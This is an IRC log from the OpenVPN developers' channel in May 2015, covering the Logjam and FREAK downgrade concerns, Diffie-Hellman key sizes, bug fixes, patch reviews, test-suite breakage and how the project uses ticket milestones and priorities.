#openvpn-devel 05:27 -!- dazo_afk is now known as dazo 05:54 <@plaisthos> tls-auth seems to be our default excuse ;) 07:06 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 07:07 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 07:08 -!- You're now known as nsa_spook 07:09 -!- You're now known as ecrist 07:42 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 08:34 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 08:35 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 08:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:41 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:41 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 09:02 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 10:31 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 10:31 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 10:40 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 258 seconds] 11:41 <+krzee> syzzer, you said in most cases 11:42 <+krzee> syzzer, are there cases where openvpn does not get away with it? 11:43 < esde> weak dh keys =<1024 and export ciphers configured, i think, but i don't know nearly as much about it as y'all do 11:43 < esde> oh and if they aren't using tls-auth 11:53 <+krzee> tls-auth simply helps mitigate anything from mitm position (IF the attacker cant get the tls-auth key) 11:53 <+krzee> for a vpn provider for example, the tls-auth keys are basically public 11:57 <@dazo> cron2: something for you ... "Git Magic" http://www-cs-students.stanford.edu/~blynn/gitmagic/book.pdf 12:00 <+krzee> export ciphers was FREAK 12:00 <+krzee> covered here https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-FREAK 12:00 <@vpnHelper> Title: SecurityAnnouncement-FREAK – OpenVPN Community (at community.openvpn.net) 12:01 <+krzee> what syzzer was talking about is regarding DHE_EXPORT 14:20 -!- dazo is now known as dazo_afk 14:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:29 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] --- Day changed Thu May 21 2015 00:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:11 <@vpnHelper> RSS Update - tickets: #557: OpenVPN argument parsing of most options ignores "extra" parameters <https://community.openvpn.net/openvpn/ticket/557> 03:35 -!- dazo_afk is now known as dazo 04:31 <@syzzer> kree, esde: correct, openvpn is vulnerable to the downgrade if you have export cipher enabled and can't protect yourself with tls-auth 04:32 <@syzzer> breaking a 1024-bit DH key is still *very* expensive, so as long as you generated your own DH group, you're probably fine too (but ofc, you should upgrade to 2048-bit+, now!) 04:33 <@syzzer> generating your own group helps a lot, because the most expensive computation of breaking a DH-key is in the pre-compute phase, which is done on the group, not the per-session key 04:34 <@syzzer> for not commonly used groups, the even for the NSA limited budget will keep you safe (for now...) 04:50 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 06:20 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 09:14 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 09:38 <@cron2> maybe we should change the wording of our manpage regarding --dh slightly... 09:39 <@cron2> "or use the existing dh1024.pem file included with the OpenVPN distribution. Diffie Hellman parameters may be considered public." 10:00 <@cron2> (otoh seems we did, just this machine has an older version installed :) ) 10:13 <@syzzer> yeah, I sneaked that into master, but not into 2.3 ;) 10:54 <@cron2> May 21 17:53:39 mariotte2 openvpn[87019]: Diffie-Hellman initialized with 3072 bit key 10:54 <@cron2> "like I've been told to!" 12:41 -!- s7r [debian-tor@openvpn/user/s7r] has left #openvpn-devel [] 12:55 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-rasppkqbwhcmdzej] has joined #openvpn-devel 13:24 -!- dazo is now known as dazo_afk 14:01 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 14:02 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Fri May 22 2015 01:34 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 01:38 -!- Netsplit *.net <-> *.split quits: floppym 02:44 <@cron2> syzzer: yeah, thanks for pointing out the obvious :-) 02:54 -!- dazo_afk is now known as dazo 09:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 09:38 -!- floppym_ is now known as flopppym 11:44 -!- dazo is now known as dazo_afk 12:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:27 -!- flopppym is now known as floppym --- Day changed Sat May 23 2015 01:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 05:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 06:56 <@vpnHelper> RSS Update - gitrepo: include ifconfig_ environment variables in --up-restart env set <https://github.com/OpenVPN/openvpn/commit/db950be85d37eab40d8fffe0bc2060059f8a7e10> 06:58 <@cron2> so, one bug down for 2.3.7, 11 remaining... 07:17 <@syzzer> cron2: do you have an opinion on this: https://community.openvpn.net/openvpn/ticket/225 07:18 <@vpnHelper> Title: #225 ('--auth-user-pass FILE' and '--auth-nocache' problem) – OpenVPN Community (at community.openvpn.net) 07:18 <@cron2> let me check my opinion stack... 07:20 <@cron2> well, right now, this is not working anyway, so any fix is better than "not working" 07:20 <@syzzer> yes, that was my train of thought too 07:21 <@syzzer> but is changing the behaviour for 2.4 acceptable? 07:21 <@cron2> I'm fine with the proposed approach, provided we document this requirement for --auth-user-pass in the manpage as well 07:21 <@syzzer> ok, I'll cook up patches 07:21 <@cron2> (OTOH, we might just leave it as it is, and document that "if --auth-nocache is used together with --cd/--daemon, use an absolute path or despair...") 07:22 <@cron2> so --auth-user-pass on itself would continue to work unchanged 07:22 <@syzzer> hmm, in that case a remark in the manpage would suffice 07:23 <@cron2> it's a very particular corner case... 07:23 <@syzzer> I think I like it better that way indeed 07:25 <@syzzer> (on a side note, I think we should put our release notes in git, so we can ensure the release notes are updated together with the relevant commits) 07:25 <@cron2> hrhr :-) - when I read your proposed solution, it totally made sense to me :-) - but now I like the other approach better, as it won't change "normal file name evaluation behaviour" for the standard case 07:25 <@cron2> mmmh, how do our "release notes" work right now? "ChangeLog" is just git --shortlog 07:26 <@syzzer> "whatever mattock thinks of", I guess 07:26 <@cron2> but having them in git sounds like a good idea 07:28 <@cron2> urgh, the code looks different already 07:29 <@syzzer> yes, it does 07:29 <@syzzer> I'll send two patches 07:29 <@cron2> when did that static_challenge_info thing sneak in? 07:29 <@syzzer> i have no clue 07:30 <@cron2> that is older stuff... so maybe the patch in trac is against 2.1 or such :) 07:30 <@syzzer> yes, even before the source tree restructuring 07:31 <@cron2> where does ssl.c decide about auth_nocache? 07:31 <@cron2> trying to understand the reason why auth_user_pass_setup() is called there (or not)... 07:32 <@syzzer> in context1 init 07:32 <@syzzer> (iirc, let me check to be sure) 07:34 <@cron2> misc.c, purge_user_pass() is about the only thing that references up->nocache 07:35 <@cron2> and that will clear "struct user_pass *up" if (nocache) 07:36 <@cron2> ah! 07:37 <@cron2> so the magic is actually inside auth_user_pass_setup(), I think - if the buffer has not been cleared, if(!auth_user_pass.defined) is false, and so it will just not do anything 07:37 <@syzzer> calling uset_user_pass_setup() is done only during connect if the global 'auth_user_pass_enabled' is set to true on init 07:37 <@cron2> wehee 07:38 <@cron2> syzzer: true, but I was wondering why it would not fail with the missing file name if "--auth-nocache" isn't active 07:38 <@syzzer> ah, right 07:38 <@cron2> so it is always called (if auth_user_pass_enabled), but if (!nocache), it will just not do anything on second and further calls, so "no problem here" 07:39 * cron2 understands the patch and is OK with ACKing it :) 07:39 <@syzzer> ok :) 07:39 <@cron2> brrr, misc.c involved in ssl.c internals... 08:03 <@syzzer> patch sent to the list. should apply clean to master, and cherry-pick to release/2.3 without fuzz 10:34 <@cron2> wut 10:34 <@cron2> something I commited today breaks t_cltsrv.sh 10:40 <@cron2> mmmh 10:40 <@cron2> weird 10:42 <@cron2> *sigh* 11:00 <@cron2> *double-sigh* and the stupid new shiny autoconf "make check" world (NEVER show useful content!! NEVER!) isn't helping debug this 11:07 <@cron2> jjks patch seems to fully kill --server operation... wtf 11:08 <@cron2> or --dev-type null 11:08 * cron2 would so appreciate receiving patches that have passed "make check" 11:11 <@syzzer> ah, fun... 11:44 <@syzzer> since people keep asking, I wrote a little wiki page on logjam: 11:44 <@syzzer> https://community.openvpn.net/openvpn/wiki/Logjam 11:44 <@vpnHelper> Title: Logjam – OpenVPN Community (at community.openvpn.net) 11:45 <@syzzer> anyone willing to review before I start throwing the link around? 12:01 <@cron2> *grumble* 12:01 <@cron2> --dev null 12:01 <@cron2> just breaks now 13:00 <@cron2> # TOTAL: 3 13:00 <@cron2> # PASS: 3 13:00 <@cron2> this! 13:05 <@cron2> so, if someone could ACK Subject: [Openvpn-devel] [PATCH] repair --dev null breakage caused by db950be85d37 then I can go on mistreating other bits and pieces... 13:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:28 <@syzzer> on the list :) 13:28 <@cron2> thanks :) 13:34 <@cron2> ... running "make check" now, on both branches... still annoyed at myself for not doing that right away... 13:36 <@cron2> the md5 patch is interesting, anyway... the "expecting remote HASH" bit looks like someone really did not understand what the md5 was used for (*not* for comparing local/remote option strings...) 13:38 <@syzzer> yes, that code was a bit weird... 14:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 14:15 <@vpnHelper> RSS Update - gitrepo: repair --dev null breakage caused by db950be85d37 <https://github.com/OpenVPN/openvpn/commit/970c4bd2e473f625699bd56db44c1970a9e10ed9> || cleanup: remove md5 helper functions <https://github.com/OpenVPN/openvpn/commit/827de237860813d2859aaae3aca292d42a9c2a82> 14:39 <@vpnHelper> RSS Update - gitrepo: assume res_init() is always there. <https://github.com/OpenVPN/openvpn/commit/403dc434d245e5df5ae262935aa2e7364547e260> || Re-read auth-user-pass file on (re)connect if required <https://github.com/OpenVPN/openvpn/commit/ac1cb5bfbb9e09e79fd737bc57999d968d77c5ad> 15:31 <@vpnHelper> RSS Update - gitrepo: Fix null pointer dereference in options.c <https://github.com/OpenVPN/openvpn/commit/025d611fc68aa0c651c391bd6178d062246f36f0> 15:32 * cron2 summons a plaisthos, and points #411 and #523 at him 16:37 <@plaisthos> cron2: NACK on the second patch but have to check source to be sure 16:38 <@plaisthos> they are not really mutated to connection entries and thous still in order 20:15 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 264 seconds] 20:16 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 20:18 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:19 -!- mode/#openvpn-devel [+o andj__] by ChanServ 20:28 -!- Netsplit *.net <-> *.split quits: n13l, @andj 20:28 -!- andj__ is now known as andj --- Day changed Sun May 24 2015 01:17 <@cron2> plaisthos: they are not? Then I misunderstood you :) - but that is why I'm asking you 02:34 <@plaisthos> cron2: no. We always transform remote entries into connection entries to get rid of the extra cases 02:34 <@plaisthos> remote-random does only shuffle the connection entries once 02:34 <@plaisthos> and then openvpn behaves like on a normal connect list 02:35 <@cron2> so resolving happens after shuffling? 02:35 <@plaisthos> and the logic is: Keep the addrinfo entry, and on fail retry connection entry with ai->next instead of going to the next one 02:35 <@cron2> ok. Rewriting... 02:37 <@cron2> so if I remove the last part, "(Internall,y multiple ... across all hosts and addresses)", it's correct and ACKable? 03:13 <@plaisthos> yes 06:20 <@vpnHelper> RSS Update - gitrepo: Correct note about DNS randomization in openvpn.8 <https://github.com/OpenVPN/openvpn/commit/0322510375b5c54f63f5302b9088972d58b32b76> 06:23 <@cron2> syzzer: is this "when using the --capath option", or "when using the --capath option together with --crl"? 06:28 <@syzzer> it is 'always' 06:28 <@syzzer> --capath *requires* valid crls 06:29 <@cron2> ok... I'm not sure I ever want to go there, but in any case, the text is clear enough then :-) 06:45 <@vpnHelper> RSS Update - gitrepo: Clarify --capath option in manpage <https://github.com/OpenVPN/openvpn/commit/f4684ff2b5622a26c7c2e620e789b7dca8cfd778> 06:59 <@cron2> whee 06:59 <@syzzer> it is nice to close tickets :) 07:00 <@cron2> I actually do have a setup with static key config, so I can test #373 without major headache setting it up 07:00 <@cron2> (part of my server side daily regression test, as well as --inetd) 07:01 <@syzzer> yes, we should add a static key test to 'make check' too 07:01 <@cron2> tricky (with --dev null, you won't see any activity, and for an actual tun setup, you need root privs and an OS that does multiple routing tables and such) 07:07 <@cron2> (closing 2.3.8 tickets today is also "whee!" :) ) 07:08 * cron2 summons a plaisthos again and waves with #523... :) 07:27 <@cron2> syzzer: regarding #373 - it crashes, because it tries to access c->c2.tls_multi->n_sessions, and "tls_multi" is NULL here (unsurprisingly). 07:28 <@cron2> I think one half of the fix is in the option sanity checker to just error out if --server-poll-timeout is used with static keys, but wonder if we should sprinkle ASSERT()s here 07:41 <@cron2> answering myself: yes, we should - this is not a time-critical code path (called once every few seconds), and this is so much nicer than "memory fault"... 07:41 <@cron2> Sun May 24 14:40:34 2015 us=473927 Assertion failed at ../../../openvpn.git/src/openvpn/forward.c:331 07:58 <@syzzer> cron2: our current 'make check' smoke tests are also --dev null. we could make similar tests, but using static keys, instead of tls. --ping will still cause 'activity' on the linkk 08:00 <@syzzer> cron2: (re #373) yes, options checker and asserts sounds like the way to go 08:02 <@cron2> syzzer: on the way to the list :-) 08:03 <@cron2> regarding self test: true, using --ping might actually cause activity - I assumed that in static key mode, both sides would just sit there silently, waiting for a packet to arrive on tun or socket, but since no negotiation is needed, wait passively... 08:04 <@cron2> anyway. #373 on the list - now pack family and visit grandparents *wave* 08:07 <@syzzer> have fun :) *wave* 10:56 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 11:05 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:12 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 11:16 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:34 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 11:35 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 11:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:38 <@cron2> there is stuff in options.c that just escapes me... 13:38 <@cron2> #if P2MP 13:38 <@cron2> o->server_poll_timeout = 0; 13:38 <@cron2> #endif 13:38 <@cron2> so why set to 0 if the whole structure is CLEAR()ed anyway? 13:43 <@cron2> and then, there is 13:43 <@cron2> else if (streq (p[1], "SERVER_POLL_TIMEOUT") && p[2]) 13:43 <@cron2> { 13:43 <@cron2> options->server_poll_timeout = positive_atoi(p[2]); 13:43 <@cron2> } 13:44 <@cron2> ... so we actually have two different option strings in two different sections of options.c for this... 14:34 <@vpnHelper> RSS Update - gitrepo: Disallow usage of --server-poll-timeout in --secret key mode. <https://github.com/OpenVPN/openvpn/commit/6478c1f359e6b0ea2046d9e2801830753e53c06a> 15:41 <@cron2> syzzer: now things get interesting, JJK NAKed your --capath patch which is already in :-) - so, could you two fight this out and let me know the result, please? 15:41 <@syzzer> cron2: yes. just got home. writing a mail now 15:42 <@cron2> thanks :-) (I'm home a bit longer, had time to write more mails...) 15:42 <@syzzer> I still think I'm right, but I'm definitely interested to hear more from him, since usually *he* is right... 16:03 <@syzzer> oooh, the "AUTOMAKE_OPTIONS = serial-tests" is nice! 16:06 <@cron2> yesyesyes :)) 16:07 <@cron2> found by accident - I discovered I have automake-1.11 *and* 1.14 here on that box, and with 1.11, I see "the old behaviour", so I did a diff on both scripts, which told me the name of the option, and then I went searching for actual documentation on this... :))) --- Day changed Mon May 25 2015 00:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 01:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:23 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:23 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 06:04 <@cron2> meh... rebooting... just 632 days uptime... 06:04 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Quit: leaving] 06:32 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:32 -!- mode/#openvpn-devel [+o cron2] by ChanServ 14:22 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 14:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 14:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:25 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:25 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 14:52 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:57 <@cron2> found a new coder for openvpn! http://karpathy.github.io/2015/05/21/rnn-effectiveness/ (scroll down to the linux examples at the end) 15:57 <@vpnHelper> Title: The Unreasonable Effectiveness of Recurrent Neural Networks (at karpathy.github.io) 17:08 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 17:16 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 17:19 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 17:27 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 23:39 < m0hm0h> could someone open up the macro OPENVPN_TCPH_GET_DOFF a bit? why is there a right-shift of 2 bits? I'm trying to assign my own value as the data offset. appreciate some wise words; OPENVPN_TCPH_GET_DOFF(d) (((d) & 0xF0) >> 2) --- Day changed Tue May 26 2015 02:06 <@cron2> that is TCP Header, and I would answer "because that is how the TCP header is defined" 02:07 <@cron2> if you change that, it is no longer TCP 02:44 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 02:47 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:07 < m0hm0h> I read that the tcp header's data offset is a 4-bit value indicating the number of 32-bit words that span the header length, hence the bitmask.. but I don't understand the shifting here :-/ 03:10 <@cron2> the 4 bits are on the upper 4 bits of the 8 bits "doff+reserved", so to get them, you'd need to take the 8 bit word and shift right 4 bits. Then, to multiply by 4 (32bit-words -> bytes), you shift left 2 - taken together: (((d) & 0xF0) >> 2) 03:10 <@cron2> * TCP header, per RFC 793. 03:11 < m0hm0h> ahh, thank you 04:19 <@cron2> krzee: can I ask you to look at trac #149, please? "talk to me!" 04:57 <@cron2> dazo: found trac#201.. 05:04 <@vpnHelper> RSS Update - tickets: #556: Dual Stack: bind to multiple IPv4 and IPv6 addresses not working <https://community.openvpn.net/openvpn/ticket/556> --- Log closed Tue May 26 07:01:07 2015 --- Log opened Tue May 26 07:37:41 2015 07:37 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 07:37 -!- Irssi: #openvpn-devel: Total of 22 nicks [9 ops, 0 halfops, 1 voices, 12 normal] 07:37 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:37 -!- Irssi: Join to #openvpn-devel was synced in 10 secs 07:41 <@plaisthos> syzzer: no 07:41 <@plaisthos> but you can have one vpn app per user 08:23 <@syzzer> ah, right. thanks :) 08:39 <@cron2> plaisthos: may I revive your interest for #523? 09:09 <@cron2> bah 09:39 <@plaisthos> cron2: looking 09:40 <@plaisthos> cron2: Yes from my understanding moving res_init inside the loop might fix the problem 09:41 <@plaisthos> although I am not really sure what res_init does other than rereading /etc/resolv.conf 09:44 <@vpnHelper> RSS Update - gitrepo: Call daemon() before initializing crypto library <https://github.com/OpenVPN/openvpn/commit/da9b292733e929a2900dc32d37f0424c3d588366> 09:47 <@cron2> well, re-read resolv.conf (and kick glibc-internal caches, I'd assume) 09:47 <@cron2> plaisthos: "might" reads "cron2 should test this"... ok, I'll do... 09:51 <@plaisthos> cron2: or just read source code ;) 09:52 * cron2 wonders whether glibc or openvpn source code holds more madness here 09:52 <@plaisthos> cron2: it is bind 09:52 <@plaisthos> iirc 09:53 * cron2 looks locally (NetBSD) and finds... 09:53 <@cron2> -rw-r--r-- 1 gert wheel 26709 Jan 6 2011 /home/src/netbsd/5.0/lib/libc/resolv/res_init.c 09:53 <@cron2> 26kbyte?? *rub eyes* 09:54 <@cron2> * An interrim version of this code (BIND 4.9, pre-4.4BSD) used 127.0.0.1 09:54 <@cron2> * rather than INADDR_ANY ("0.0.0.0") as the default name server address 09:54 <@cron2> * since it was noted that INADDR_ANY actually meant ``the first interface 09:54 <@cron2> * you "ifconfig"'d at boot time'' and if this was a SLIP or PPP interface, 09:54 <@cron2> wow 09:56 <@cron2> though res_init.c does not actually have a function res_init()... it has res_ninit(), which calls __res_vinit()... 09:57 <@cron2> res_init() hides in res_data.c \o/ 09:58 <@cron2> (and calls __res_vinit(&global_variable)) 09:58 <@cron2> but basically it will "re-read resolv.conf" 10:00 * plaisthos looks at android's bionic/libc/dns/resolv/res_init.c 10:07 <@plaisthos> #ifndef ANDROID_CHANGES /* !ANDROID_CHANGES - IGNORE resolv.conf in Android */ 10:08 <@cron2> well, I can see why they would do that :-) - so the real DNS info is hidden somewhere else... 11:09 <+krzee> cron2, thank you. closed 149 11:13 <+krzee> also, wow regarding your RNN effectiveness link 11:13 <+krzee> very interesting stuff 12:29 <@syzzer> very interesting indeed, but also mind-bobbling code ;) 13:37 <@cron2> syzzer: makes one wonder how OpenSSL code came to existance :-) 13:42 <@cron2> (as as side note: master+480 passed all my server side tests, so the "basic" daemon+file access bits still work :) ) 14:54 <@syzzer> heh, fortunately jjk revoked (pun intended ;) ) his NACK, but he did open an old can of worms... :p 15:42 * cron2 wonders how many hidden cans we have 15:56 <@cron2> syzzer: nice picture :) 18:15 -!- dazo is now known as dazo_afk --- Day changed Wed May 27 2015 02:13 <@cron2> #463 down, 8 to go... 02:15 <@cron2> git shortlog v2.3.6..release/2.3 reads interesting... the biggest changes have the most uninteresting titles :-) 03:59 -!- dazo_afk is now known as dazo 04:31 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 252 seconds] 04:31 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o pekster] by ChanServ 04:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:04 <@cron2> mmmh, someone was busy with trac... :-) 06:04 <@cron2> di 06:09 <@cron2> #201 is actually something dazo wanted to look into... and since I can't find anything about file descriptors in "git log", I assume it's still there (but complicated to reproduce, otherwise we'd have heard more about it) 06:09 <@cron2> mattock: what is "milestone: release 2.5"? 06:37 <@dazo> cron2: #201 is tricky, AFAIR ... the auth-pam plugin doesn't open any temp files itself, so it might be something related to either the PAM library or that the plugin doesn't do things correctly when interacting with PAM 07:14 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 07:44 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:44 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:51 <@cron2> dazo: I assume it has something to do with our tempfiles, as we are now passing open file descriptors to temp files (and no longer filenames), that "someone" is not closing the file 07:51 <@cron2> (if I remember right, not exactly "my corner" of the code :) ) 07:54 <@dazo> I'll double check on server which has quite some regular users ... if it is our code and not in the auth-pam module, it should be visible there too 07:55 <@dazo> cron2: btw ... regarding automake change ... maybe we should change the openvpn-users@lists.sourceforge.net address in configure.ac to openvpn-devel instead .... 07:56 <@dazo> Just spotted this line after a 'make check' test run ... "Please report to openvpn-users@lists.sourceforge.net" 08:04 <@cron2> good point :) - I'll send a joint patch for both 08:08 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 08:10 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 08:19 <@mattock1> dazo: there's a bug report for the openvpn-users thing I believe 08:20 <@mattock1> or maybe I just had it on my TODO list at some point and forgot all about it :) 08:20 <@cron2> mattock1: please do not put "crash bugs" on release 2.4 just so 08:21 <@cron2> like #528 - just because nobody had time to look at it yet, it does not mean we shouldn't try to fix it in 2.3.8 - and by putting "milestone release 2.4" on it, you decide "this is not relevant for 2.3" (so others might just not look) 08:22 <@mattock1> cron2: feel free to move them to "no milestone" or 2.5 (which I created today) 08:22 <@mattock1> I'm not sure which approach is the best with bugs we have not been able to reproduce 08:23 <@mattock1> maybe not setting a milestone at all, but amping up priority? 08:27 <@mattock1> I would not want to further push back 2.4, as it was "a few months away" 18 months ago already 08:28 <@mattock1> soon this is going to look like a replay of 2.1-rcXX release process, except that we have not even made any RC releases :P 08:57 <@mattock1> enough trac tickets for one day... 09:45 <@syzzer> mattock1: shouldn't the milestones reflect when we would *like* to have the tickets closed (fix/wontfix/notabug/etc), and the priorority reflect whether a bug *needs* to be fixed before we can do a release for the milestone? (and if tickets that did not get fixed just happily move from milestone to milestone) 09:46 <@syzzer> and yes, we should make sure we're not postponing 2.4 forever 09:48 <@dazo> http://www.welivesecurity.com/2015/05/26/moose-router-worm/ 09:48 <@vpnHelper> Title: Moose - the router worm with an appetite for social networks (at www.welivesecurity.com) 10:27 <@mattock1> syzzer: I think its a matter of opinion... milestone and priority serve partially the same purpose in my opinion - how quickly (or slowly) a ticket should be handled 10:28 <@mattock1> but I think we should discuss how we set the priority and milestones in particular 10:28 <@mattock1> then there's the quite heavily misused "severity" field 10:29 <@mattock1> I don't fully understand the difference of "severity" and "priority", because high severity should equal high priority 10:38 <@syzzer> I never unstood the difference either 11:06 <@dazo> severity is more the important in regards of "cruciality" (high severity bug can be a DoS attack while a low severity can be connection logs misses some information) ... while priority is how important the bug is to be fixed 11:06 <@dazo> you'll often find that high severity bugs have high priority ... but you can have low severity (doesn't really impact production, but there are annoyances) which have high priority 11:07 <@dazo> syzzer: mattock1: ^^ 11:20 <@syzzer> aha! 11:31 <@mattock1> maybe "severity" refers to how annoying/harmful a _bug_ is for people who encounter it, whereas "priority" reflects the _project's_ view on how quickly the bug should be fixed 11:31 <@mattock1> so a small annoyance encountered by hundreds of people would have low severity, but high priority 12:09 <@cron2> mattock1: I see milestone as "this should be fixed in this release (or at least, this train)" - so setting something that hasn't been fully analyzed but could be a bug (= should be fixed in 2.3) to "milestone 2.4" (= to be done "later") doesn't ring right to me. But I think we should cover that next meeting, to agree on what we actually understand the various things to mean 12:09 <@mattock1> cron2: agreed, we need to have a common understanding 12:20 <@cron2> can you put it on the agenda right away, under "2.3.7 release"? ;-) 12:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 12:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:32 <@dazo> mattock: something like that, yes 12:38 <@dazo> mattock: an example is CVE bugs in the kernel ... sometimes there are some reports on f.ex 4 bytes of memory which can be leaked through some clever system calls, due to they have not been sanitized before they sent to the user-space (a running program). These bugs often have low severity and a mid-range priority. It is a strictly speaking a security issue, but the information it leaks is so small and it is hard to glue together 12:38 <@dazo> several such leaks into a big block of anything useful. If it would be possible to extract some useful information (like data used by the random generator code paths), the severity would increase but not necessarily the priority 12:40 <@dazo> (otherwise, in regards to milestones, I am aligned with cron2 ... what has a milestone is actually committing to fix it within a given time frame) 12:45 <@mattock1> dazo: I agree with you and cron2 as far as milestones are concerned 12:46 <@mattock1> what I don't want is (further) bog down the rate of release by optimistically assigning tickets to milestones that are too close 12:47 <@mattock1> something like "we will fix this in (some) 2.3 release2 is fine, in which case the milestone would be "release 2.3" I think 12:52 <@mattock1> I think we should add 2.4 alpha, beta and rc milestones also instead of lumping all 2.4 tickets into one (the backlog is pretty huge as it is) 12:59 <@cron2> mattock1: I agree with you, and this is why we should just *not* set milestones to stuff that has not been analyzed properly yet 13:00 <@cron2> 2.4_alpha, 2.4_beta, 2.4_rc would work for me 13:22 <@mattock1> cron2: exactly 13:43 <@cron2> #427 down, 7 more to go... :) 13:44 <@vpnHelper> RSS Update - gitrepo: Enforce "serial-tests" behaviour for tests/Makefile <https://github.com/OpenVPN/openvpn/commit/fc03ca9d13e35c40bdf1c3c676db2adf48c60223> || slightly enhance documentation about --cipher 